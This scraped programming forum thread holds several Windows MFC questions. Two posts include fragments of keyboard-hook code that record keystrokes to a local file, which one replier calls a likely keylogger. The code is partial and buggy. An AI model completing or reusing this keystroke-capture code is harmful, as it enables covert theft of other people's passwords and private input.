|
cjsc wrote: I am using GetKeyboardState and iexplore.
What do you mean by this?
Please elaborate.
|
|
|
|
|
Am I correct that you are:
Writing and installing a keyboard hook?
Trigger an assertion in your code when you start Internet Explorer?
What assertion do you get?
What is the code that gives the assertion?
Since you are getting an assertion, the place to look is at that assertion. Ask yourself:
What is the expected condition that was violated?
Can I trace this back from the occurence of the assertion to the origin of the problem?
Please do not read this signature.
|
|
|
|
|
Reach out to the source file and line number specified in the assertion, and see what condition is failing.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Thank for all of you.
Sir i found dll from this site.
Assertion getting when i click on internet explorer.
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);Here assertion showing
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch = char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
Assertion
files\internet explore\iexplore.exe
File:f:\dd\vctools\ctr_blb\self_x86\crt\src\fwrite.c
line:77
Expression:(stream!=NULL)
Thanks
|
|
|
|
|
|
It looks like it's actually the fwrite() line that's failing. You can tell from the assertion that your fopen() call failed. That means you don't have anything to write to but your still trying. That's why you get the assertion.
Handle the case of when fopen() fails.
|
|
|
|
|
How to add a message loop for a modeless dialog?Thx!!! Why the child dialog is sleep, and the father Wnd stock too?
I am not a genius, but shed more sweat!
|
|
|
|
|
Have a look here[^] on MSDN, for full details of handling modeless dialogs.
txtspeak is the realm of 9 year old children, not developers. Christian Graus
|
|
|
|
|
Are you using MFC or straight win32 or something else?
Please do not read this signature.
|
|
|
|
|
I use MFC,MDI app.When the sub window stuck,and the main frame stop too.I want to find a way that when the sub window is stuck and the main frame could works well.Other means,the fcous can be changed when the sub window is stuck.Really thx!
I am not a genius, but shed more sweat!
|
|
|
|
|
Hi all,
please tell me how can i check any dialog box is open over the main dialog box of application.
please help me for this.
thanks in advance.
|
|
|
|
|
One way is to use FindWindowEx[^] and specify the main dialog box and the parent and the title of the child dialog box to find.
|
|
|
|
|
Hi,
I have a setup project for my mfc project. It shows default text "Welcome to <projectname> Setup Wizard" in black color. I want to change it's color, position and text fonts. How to do that?
|
|
|
|
|
How are you creating the setup? With VS? In which case, it should reside within your solution as an MSI setup project. Look into it.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
Thanks Rajesh, I know that I am not a newbie
I had already checked out by right-clicking setup project and choosing "view->user interface" but there was no option for changing "header text color" i.e "Welcome to project-name setup wizard".
Then I also looked into Orca. But There also I could not found any column/option for changing text color. We can change x,y position through Orca but can not change text color or I may be missing.
The disadvantage of usging Orca is that we have to do modify at several places. For example if I want to change welcome text then I to change it in MaintenanceForm, ResumeForm, AdminMaintenanceForm, AdminResumeForm, AdminWelcomForm, WelcomeForm.
Any way to make it simple ?
|
|
|
|
|
rahul.kulshreshtha wrote: Thanks Rajesh, I know that I am not a newbie
Oh, sorry.
I'd love to figure this out, but I don't have VS here (machine is screwed up, needs formatting). I could try this on Monday.
But, please post a reply if you solve it.
“Follow your bliss.” – Joseph Campbell
|
|
|
|
|
yes sure.. Currently I am trying Install-Shield. Few months ago I tried with InstallJammer that was also good. I will decide till evening which tool I am going to use.
|
|
|
|
|
I will go with the installshield 2010. New UI look is better. Unfortunately I downloaded Installshield anywhere. "Anywhere" requires JVM. Since my application in win app so I will go with the express edition of install-shield. I hope express edition does not require jvm.
Installjammer was last updated on Sept 2009 so it is still same as I used last time. Earlier I was having some problem with adding image.
|
|
|
|
|
Hello everybody !
I want to catch some EditBox' values,because is it change I want to update somethings.
for example, when the child window closed (m_strChild),I use this code to set the parent window' some member variables like this:
((CParentDlg *)GetParent())->m_strParent = m_strChild;
((CParentDlg *)GetParent())->UpdateData(FALSE);
this message of EditBox
EN_CHANGE
EN_ERRSPACE
EN_HSCROLL
EN_KILLFOCUS
EN_MAXTEXT
EN_SETFOCUS
EN_UPDATE
EN_VSCROLL
I used them all,but faild ,so how to catch the message when the values changed ?
Thanks for your reply !
Goold Luck !
|
|
|
|
|
EN_CHANGE is the notification that you need.
Since you're using MFC, try this.
Right click on the edit control in the dialog template.
Select Add Event Handler .
In the wizard select EN_CHANGE in Message type and make sure the dialog class is selected in the Class list.
The click on Add and Edit .
|
|
|
|
|
|
Hi member
i am sock my application crash eventually.I am using 2008 and got assertion.
Windows has triggered a breakpoint in ABC.exe.
This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
This may also be due to the user pressing F12 while ABC.exe has focus.
The output window may have more diagnostic information.
Can any tool is there which denote me where i am wrong.
Forum member every help increase me.
|
|
|
|
|
Please post some code here.
|
|
|
|
|
LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info.
{
try
{
if(hook==1)
{
GetKeyNameText(l,buffer,20);
_strlwr(buffer);
if(strlen(buffer)>1)
{
subst("shift","<SHIFT>");
subst("right shift","<SHIFT>");
subst("tab","<TAB>");
subst("space"," ");
subst("backspace","<BACKSPACE>");
subst("delete","<DEL>");
subst("left","<LEFT>");
subst("down","<DOWN>");
subst("up","<UP>");
subst("right","<RIGHT>");
subst("num /","/");
subst("num *","*");
subst("num -","-");
subst("num 0","0");
subst("num 1","1");
subst("num 2","2");
subst("num 3","3");
subst("num 4","4");
subst("num 5","5");
subst("num 6","6");
subst("num 7","7");
subst("num 8","8");
subst("num 9","9");
subst("num +","+");
subst("num enter","<ENTER>");
subst("num del","<DEL>");
subst("esc","<ESC>");
subst("enter","<ENTER>");
subst("caps lock","<CAPSLOCK>");
subst("num lock","<NUMLOCK>");
subst("scroll lock","<SCROLLLOCK>");
subst("ctrl","<CTRL>");
subst("alt","<ALT>");
subst("right ctrl","<CTRL>");
subst("right alt","<ALT>");
subst("pause","<PAUSE>");
subst("insert","<INSERT>");
subst("home","<HOME>");
subst("end","<END>");
subst("page up","<PGUP>");
subst("page down","<PGDN>");
subst("f1","<F1>");
subst("f2","<F2>");
subst("f3","<F3>");
subst("f4","<F4>");
subst("f5","<F5>");
subst("f6","<F6>");
subst("f7","<F7>");
subst("f8","<F8>");
subst("f9","<F9>");
subst("f10","<F10>");
subst("f11","<F11>");
subst("f12","<F12>");
}
if(keycount>50)
{
diskfile->Flush();
keycount = 0;
}
writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this);
}
else
{
}
return 0;
}
catch (...)
{
}
}
UINT WorkerThreadProc( LPVOID Param )
{
try
{
CABCDlg *p=(CABCDlg *) Param;
CStdiofile myFile;
if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) )
{
myFile.Writestring(buffer);
myFile.close();
}
}
catch (...)
{
AfxMessageBox("AddString Final");
}
}
|
|
|
|
|
Looks awfully like a remote keylogger.
|
|
|
|
|